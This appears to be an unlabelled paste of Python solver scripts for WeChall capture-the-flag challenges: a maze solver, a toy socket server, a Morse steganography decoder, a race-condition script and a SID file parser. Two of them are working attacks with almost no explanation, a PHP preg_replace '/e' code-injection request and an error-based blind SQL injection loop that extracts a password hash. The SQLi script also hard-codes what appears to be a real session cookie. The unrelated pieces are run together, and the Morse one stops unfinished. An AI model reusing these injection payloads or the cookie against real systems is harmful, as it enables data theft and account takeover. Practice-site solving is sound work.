Hello Navi

from collections import deque

with open('amazeme.exe', 'rb') as f:
    data = f.read()

# 迷宫参数（从二进制分析得出）
ROW_WIDTH = 16
NUM_ROWS = 32
START_OFFSET = 0xCC0  # .data section 开始 + 0xC0

# 提取迷宫字节
maze_bytes = data[START_OFFSET:START_OFFSET + NUM_ROWS * ROW_WIDTH]

# 转二维网格：0=路, 1=墙
grid = []
for row in range(NUM_ROWS):
    r = []
    for col in range(ROW_WIDTH):
        b = maze_bytes[row * ROW_WIDTH + col]
        r.append(1 if b != 0 else 0)
    grid.append(r)

# 起点 (1,0)，终点 (31,14)
start = (1, 0)
goal = (31, 14)

# BFS 求最短路径
queue = deque()
queue.append((start, ""))
visited = {start}

while queue:
    (r, c), path = queue.popleft()
    if (r, c) == goal:
        print(f"Solution: {path}")
        print(f"Length: {len(path)}")
        break
    for dr, dc, ch in [(0, -1, 'L'), (0, 1, 'R'), (-1, 0, 'U'), (1, 0, 'D')]:
        nr, nc = r + dr, c + dc
        if 0 <= nr < NUM_ROWS and 0 <= nc < ROW_WIDTH:
            if grid[nr][nc] == 0 and (nr, nc) not in visited:
                visited.add((nr, nc))
                queue.append(((nr, nc), path + ch))

import socket

HOST, PORT = "0.0.0.0", 8889

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    while True:
        conn, addr = s.accept()
        with conn:
            data = conn.recv(4096).decode("latin1", "replace")
            method = data.split(None, 1)[0] if data.strip() else ""
            if method == "BUNNY":
                conn.sendall(b"HTTP/1.1 202 BunnyAccepted\r\nContent-Length: 0\r\n\r\n")
            else:
                conn.sendall(b"HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n")

import requests, re

BASE = 'http://www.wechall.net/en/challenge/livinskull/smile'
COOKIE = {'WC': 'your_cookie_here'}

s = requests.Session()
s.cookies.update(COOKIE)

# Step 1: Get CSRF token
r = s.get(f'{BASE}/smile.php')
csrf = re.search(r'gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: Exploit /e modifier to leak solution
r = s.post(f'{BASE}/smile.php', data={
    'pattern': '/.*/e',
    'filename': 'LIVINSKULL_SMILEY_SOLUTION',
    'add': 'Add',
    'gwf3_csrf': csrf,
})
# Solution appears in test output box (repeated twice)
solution = re.search(r'[A-Za-z0-9]{32}', r.text).group()
print(f'Solution: {solution}')

# Step 3: Submit solution
r2 = s.get(f'{BASE}/index.php')
csrf2 = re.search(r'gwf3_csrf" value="([^"]+)"', r2.text).group(1)
r3 = s.post(f'{BASE}/index.php', data={
    'answer': solution,
    'solve': 'Submit',
    'gwf3_csrf': csrf2,
})
if 'already solved' in r3.text.lower() or 'correct' in r3.text.lower():
    print('✅ Solved!')

from PIL import Image

img = Image.open('morsed.png').convert('RGBA')
pixels = list(img.getdata())
w, h = img.size

# 从 RGB 值中提取 Morse 符号
symbols1 = []
for p in pixels:
    symbols1.append(chr(p[0]))  # R → dot(46) or dash(45)
    symbols1.append(chr(p[1]))  # G
    symbols1.append(chr(p[2]))  # B
morse1 = ''.join(symbols1)

alphas = [p[3] for p in pixels]

# 像素 25-29 是 separator（alpha=0）
# 像素 25-29 之后是 technique 2 的数据

# 提取 technique 2 的 alpha 值（像素 30 之后）
tech2_alphas = alphas[30:]

# 像素 0-24 的低 alpha 值
lower_alphas = alphas[:25]

# 低于阈值的 alpha = 0（灯灭）/ 高于 = 1（灯亮）
threshold = 50
bits = [1 if a > threshold else 0 for a in lower_alphas]

# 转换 binary Morse run-length
# 连续的 1 = 亮的时间，0 = 灭的时间
# dot = 1 单位，dash = 3 单位
# 字符间间隔 = 1 单位（灭），单词间间隔 = 3 单位（灭）

#!/usr/bin/env python3
"""Are you blind? — Error-based blind SQLi solver."""
import requests, re, time, sys

URL = 'https://www.wechall.net/en/challenge/Mawekl/are_you_blind/index.php'
COOKIE = {'WC': '40700784-72047-P62VMhsWxh3elcYN'}
HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}
ALPHABET = '0123456789ABCDEF'

s = requests.Session()
s.headers.update(HEADERS)
s.cookies.update(COOKIE)

def has_error(payload):
    """Return True if condition caused MySQL error (condition was FALSE)."""
    data = {'injection': payload, 'inject': 'Inject'}
    try:
        r = s.post(URL, data=data, timeout=15)
        return 'gwf_errors' in r.text
    except:
        time.sleep(1)
        return has_error(payload)

# Reset challenge first
print("[*] Resetting challenge...")
s.get(URL, params={'reset': 'me'})
time.sleep(1)

recovered = ''
for pos in range(1, 33):
    lo, hi = 0, len(ALPHABET) - 1
    while lo < hi:
        mid = (lo + hi) // 2
        mid_char = ALPHABET[mid]
        # TRUE: password[pos] > mid_char → no error
        # FALSE: password[pos] <= mid_char → error
        payload = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char}', 1, (SELECT 1 UNION SELECT 2)) -- "
        if has_error(payload):
            hi = mid
        else:
            lo = mid + 1
        time.sleep(0.2)
    recovered += ALPHABET[lo]
    bar = '\u2588' * pos + '\u2591' * (32 - pos)
    sys.stdout.write(f'\r[{bar}] {pos}/32 | {recovered}')
    sys.stdout.flush()

print(f"\n[+] Recovered: {recovered}")

# Submit
print("[*] Submitting...")
r = s.post(URL, data={'thehash': recovered, 'mybutton': 'Enter'})

if 'correct' in r.text.lower() or 'solved' in r.text.lower():
    print("[+] SOLVED!")
elif 'gwf_messages' in r.text:
    msgs = re.findall(r'<li>(.*?)</li>', r.text)
    for m in msgs:
        if m.strip():
            print(f"  MSG: {m}")
elif 'gwf_errors' in r.text:
    errs = re.findall(r'<li>(.*?)</li>', r.text)
    for e in errs:
        if e.strip():
            print(f"  ERR: {e}")

if 'more' in r.text.lower() or 'consecutive' in r.text.lower():
    print("[i] Need more consecutive rounds — running again...")
    success_count = 1
    while success_count < 5:
        s.get(URL, params={'reset': 'me'})
        time.sleep(0.5)
        recovered2 = ''
        for pos in range(1, 33):
            lo2, hi2 = 0, len(ALPHABET) - 1
            while lo2 < hi2:
                mid2 = (lo2 + hi2) // 2
                mid_char2 = ALPHABET[mid2]
                payload2 = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char2}', 1, (SELECT 1 UNION SELECT 2)) -- "
                if has_error(payload2):
                    hi2 = mid2
                else:
                    lo2 = mid2 + 1
                time.sleep(0.1)
            recovered2 += ALPHABET[lo2]
            sys.stdout.write(f'\r  Round {success_count+1}: [{pos}/32] {recovered2}')
            sys.stdout.flush()
        r2 = s.post(URL, data={'thehash': recovered2, 'mybutton': 'Enter'})
        if 'solved' in r2.text.lower() or 'congrat' in r2.text.lower():
            print(f"\n[+] SOLVED after {success_count+1} rounds!")
            recovered = recovered2
            break
        elif 'correct' in r2.text.lower() or 'more' in r2.text.lower():
            success_count += 1
            print(f"\n[i] Round {success_count} passed, need more...")
        else:
            print(f"\n[!] Round {success_count+1} failed")
            msgs = re.findall(r'<li>(.*?)</li>', r2.text)
            for m in msgs:
                if m.strip():
                    print(f"    {m}")
            break

print(f"\n[*] Final hash: {recovered}")
print("[*] Check https://www.wechall.net/en/challs for wc_chall_solved_1")

import requests, threading

s = requests.Session()
s.cookies.set('WC', 'your_cookie')

def race_round(s):
    """并发发送 buy 和 click"""
    t1 = threading.Thread(target=lambda: s.get('buy.php'))
    t2 = threading.Thread(target=lambda: s.get('click.php'))
    t1.start(); t2.start()
    t1.join(); t2.join()

for _ in range(15):  # 不需要太多轮
    race_round(s)
    stats = s.get('stats.php')
    if stats.json().get('items') >= 10:
        break

import struct

def parse_sid(path):
    with open(path, 'rb') as f:
        data = f.read()
    init = struct.unpack('>H', data[10:12])[0]
    play = struct.unpack('>H', data[12:14])[0]
    name = data[22:54].split(b'\x00')[0].decode('ascii', errors='replace')
    author = data[54:86].split(b'\x00')[0].decode('ascii', errors='replace')
    return {'init': f'${init:04X}', 'play': f'${play:04X}',
            'name': name, 'author': author}